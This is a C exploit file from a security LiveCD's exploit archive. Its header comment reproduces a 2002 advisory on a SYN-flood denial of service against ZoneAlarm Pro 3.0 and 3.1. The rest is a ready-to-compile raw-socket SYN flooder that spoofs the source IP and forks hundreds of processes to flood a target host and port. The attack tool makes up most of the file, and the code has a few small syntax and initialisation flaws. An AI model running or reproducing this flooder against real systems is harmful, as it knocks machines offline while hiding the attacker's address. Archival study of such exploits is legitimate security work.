home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / firewall / ZoneAlarm / l-zonealarm.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  8KB  |  236 lines

  1. /*
  2. Start Advisory
  3. NSSI Technologies Inc Research Labs Security Advisory 
  4. http://www.nssolution.com (Philippines / .ph) 
  5. "Maximum e-security" 
  6. http://nssilabs.nssolution.com
  7. ZoneAlarm Pro 3.1 and 3.0 Denial of Service Vulnerability
  8. Author: Abraham Lincoln Hao / SunNinja
  9. e-Mail: abraham@nssolution.com / SunNinja@Scientist.com
  10. Advisory Code: NSSI-2002-zonealarm3 
  11. Tested: Under Win2k Advance Server with SP3 / WinNT 4.0 with SP6a / Win2K Professional / WinNT 4.0 workstation 
  12. Vendor Status:  Zone Labs is already contacted 1 month ago and they informed me that they going to release an update or new version to patched the problem. 
  13. This vulnerability is confirmed by the vendor.
  14. Vendors website: http://www.zonelabs.com
  15. Severity: High
  16.  
  17. Overview:
  18.  
  19. New ZoneAlarm« Pro delivers twice the securityZone Labs award-winning, personal firewall trusted by millions, plus advanced privacy features. 
  20. the award-winning PC firewall that blocks intrusion attempts and protects against Internet-borne threats like worms, Trojan horses, and spyware.   
  21. ZoneAlarm Pro 3.1 and 3.0  doubles your protection with enhanced Ad Blocking and expanded Cookie Control to speed up your Internet experience and stop 
  22. Web site spying. Get protected. Compatible with Microsoft« Windows« 98/Me/NT/2000 and XP.    
  23. ZoneAlarm Pro 3.1.291 and 3.0  contains vulnerability that would let the attacker consume all your CPU and Memory usage that would result to Denial of 
  24. Service Attack through sending  multiple syn packets / synflooding.  
  25.  
  26. Details:
  27.  
  28. Zone-Labs ZoneAlarm Pro 3.1.291 and 3.0 contains a vulnerability that would let the attacker consume all your CPU and Memory usage that would result to 
  29. Denial of Service Attack through Synflooding that would cause the machine to stop from responding. Zone-Labs ZoneAlarm Pro 3.1.291 and 3.0 is also vulnerable 
  30. with IP Spoofing. This Vulnerabilities are confirmed from the vendor.
  31.  
  32. Test diagram:
  33. [*Nix b0x with IP Spoofing scanner / Flooder] <===[10/100mbps switch===> [Host with ZoneAlarm] 
  34.  1] Tested under default install of the 2 versions after sending minimum of 300 Syn Packets to port 1-1024 the machine will hang-up until the attack stopped.
  35. 2] We configured the ZoneAlarm firewall both version to BLOCK ALL traffic setting after sending a minimum of 300 Syn Packets to port  1-1024 the machine will
  36. hang-up until the attack stopped. 
  37.  
  38. Workaround:
  39. Disable ZoneAlarm and Hardened TCP/IP stack of your windows and Install latest Security patch.
  40. Note: To people who's having problem reproducing the vulnerability let me know :)
  41. Any Questions? Suggestions? or Comments? let us know. 
  42. e-mail: nssilabs@nssolution.com / abraham@nssolution.com / infosec@nssolution.com
  43. greetings:
  44. nssilabs team, especially to b45h3r and rj45, Most skilled and pioneers of NSSI good luck!. 
  45. (mike@nssolution.com / aaron@nssolution.com),  Lawless the saint ;), dig0, p1x3l, dc and most of all to my Lorie.  
  46.  
  47. End Advisory
  48.  
  49. L-zonealarm.c compile with gcc l-zonealarm.c -o l-zonealarm
  50. greets        Valk , harada ,bono-sad , my family .
  51. email         lupsyn@mojodo.it
  52. */
  53.  
  54. #include <stdio.h>
  55. #include <stdlib.h>
  56. #include <unistd.h>
  57. #include <time.h>
  58. #include <strings.h>
  59. #include <sys/types.h>
  60. #include <sys/socket.h>
  61. #include <netinet/in_systm.h>
  62. #include <netinet/in.h>
  63. #include <netinet/ip.h>
  64. #include <netinet/tcp.h>
  65. #include <arpa/inet.h>
  66. #include <netdb.h>
  67. #include <errno.h>
  68.  
  69. #define MAX_CHILDREN            30
  70.  
  71. void die(char *msg)
  72. {
  73.         perror(msg);
  74.         exit(errno);
  75. }
  76.  
  77.  
  78. void usage()
  79. {
  80.     fprintf(stdout,"\n[************************************]\n"
  81.           "[*] Zone Alarm dos coded by lupsyn [*]\n"
  82.                   "[*] Usage ./l-za srcIP dstIP port  [*]\n"
  83.                   "[************************************]\n\n");
  84.     exit(0);
  85. }
  86.  
  87.  
  88.  
  89. u_short in_cksum(u_short *addr, int len)    /* function is from ping.c */
  90.     register int nleft = len;
  91.     register u_short *w = addr;
  92.     register int sum = 0;
  93.     u_short answer =0;
  94.    
  95.     while (nleft > 1) 
  96.            {
  97.            sum += *w++;
  98.            nleft -= 2;
  99.           }
  100.     if (nleft == 1) 
  101.          {      
  102.            *(u_char *)(&answer) = *(u_char *)w;
  103.         sum += answer;
  104.          }
  105.     sum = (sum >> 16) + (sum & 0xffff);
  106.     sum += (sum >> 16);
  107.     answer = ~sum;
  108.     return(answer);
  109. }
  110.  
  111.  
  112. u_long getaddr(char *hostname)    
  113.     struct hostent *hp;
  114.   
  115.     if ((hp = gethostbyname(hostname)) == NULL) 
  116.     {
  117.         fprintf(stderr, "Could not resolve %s.\n", hostname);
  118.         exit(1);
  119.         }
  120.         return *(u_long *)hp->h_addr;
  121. }
  122.  
  123.  
  124.  
  125. void dosynpacket(unsigned char *source_addr, unsigned char *dest_addr, int dest_port)
  126. {
  127.     struct send_tcp
  128.        {
  129.           struct iphdr ip;
  130.           struct tcphdr tcp;
  131.        } send_tcp;
  132.    
  133.     struct pseudo_header
  134.        {
  135.           unsigned int source_address;
  136.           unsigned int dest_address;
  137.           unsigned char placeholder;
  138.           unsigned char protocol;
  139.           unsigned short tcp_length;
  140.           struct tcphdr tcp;
  141.        } pseudo_header;
  142.    
  143.     int tcp_socket;
  144.        struct sockaddr_in sin;
  145.        int sinlen;
  146.             
  147.        /* form ip packet */
  148.        send_tcp.ip.ihl = 5;
  149.        send_tcp.ip.version = 4;
  150.        send_tcp.ip.tos = 0;
  151.        send_tcp.ip.tot_len = htons(40);
  152.        send_tcp.ip.frag_off = 0;
  153.        send_tcp.ip.ttl = 255;
  154.        send_tcp.ip.protocol = IPPROTO_TCP;
  155.        send_tcp.ip.check = 0;
  156.        send_tcp.ip.saddr =inet_addr(source_addr);
  157.        send_tcp.ip.daddr =inet_addr(dest_addr);
  158.    
  159.        /* form tcp packet */
  160.        send_tcp.tcp.dest = htons(dest_port);
  161.        send_tcp.tcp.ack_seq = 0;
  162.        send_tcp.tcp.res1 = 0;
  163.        send_tcp.tcp.doff = 5;
  164.        send_tcp.tcp.fin = 0;
  165.        send_tcp.tcp.syn = 1;
  166.        send_tcp.tcp.rst = 0;
  167.        send_tcp.tcp.psh = 0;
  168.        send_tcp.tcp.ack = 0;
  169.        send_tcp.tcp.urg = 0;
  170.        send_tcp.tcp.res2 = 0;
  171.        send_tcp.tcp.window = htons(512);
  172.        send_tcp.tcp.check = 0;
  173.        send_tcp.tcp.urg_ptr = 0;
  174.    
  175.        /* setup the sin struct */
  176.        sin.sin_family = AF_INET;
  177.        sin.sin_port = send_tcp.tcp.source;
  178.        sin.sin_addr.s_addr = send_tcp.ip.daddr;   
  179.    
  180.        /* (try to) open the socket */
  181.         if((tcp_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))<0) die("socket");
  182.           /* set fields that need to be changed */
  183.           send_tcp.tcp.source++;
  184.           send_tcp.ip.id++;
  185.           send_tcp.tcp.seq++;
  186.           send_tcp.tcp.check = 0;
  187.           send_tcp.ip.check = 0;
  188.       
  189.           /* calculate the ip checksum */
  190.           send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  191.  
  192.           /* set the pseudo header fields */
  193.           pseudo_header.source_address = send_tcp.ip.saddr;
  194.          pseudo_header.dest_address = send_tcp.ip.daddr;
  195.           pseudo_header.placeholder = 0;
  196.           pseudo_header.protocol = IPPROTO_TCP;
  197.           pseudo_header.tcp_length = htons(20);
  198.           bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  199.           send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32);
  200.           sinlen = sizeof(sin);
  201.           if((sendto(tcp_socket, &send_tcp, 40, 0, (struct sockaddr *)&sin, sinlen))<0) die("sendto");
  202.        close(tcp_socket);
  203. }
  204.  
  205. main(int argc, char *argv[])
  206.  
  207. {
  208.     int i=0,childs;
  209.     if (argc<3) usage();
  210.     fprintf (stdout,"\n[*] Let's start dos  [*]\n");
  211.          fprintf (stdout,  "[*] Wait 30 sec and after try ping %s at port %d [*]\n",argv[2],atoi(argv[3]));
  212.         fprintf (stdout,  "[*] www.mojodo.it    [*]\n");
  213.     fprintf (stdout,  "[*] esc with ctrl+c  [*]\n\n");
  214.  
  215.     for (i ; i<400 ;i++)
  216.     {
  217.         if(childs >= MAX_CHILDREN) wait(NULL) ;
  218.         switch (fork())
  219.             {
  220.                 case 0:
  221.                 dosynpacket(argv[1],argv[2],atoi(argv[3]));
  222.                 exit(0);
  223.                             case -1:
  224.                              die("fork");
  225.                 default:
  226.                             childs++;
  227.                             break;
  228.             }
  229.  
  230.  
  231.     }while(childs--) wait(NULL);
  232. }
  233.                   
  234.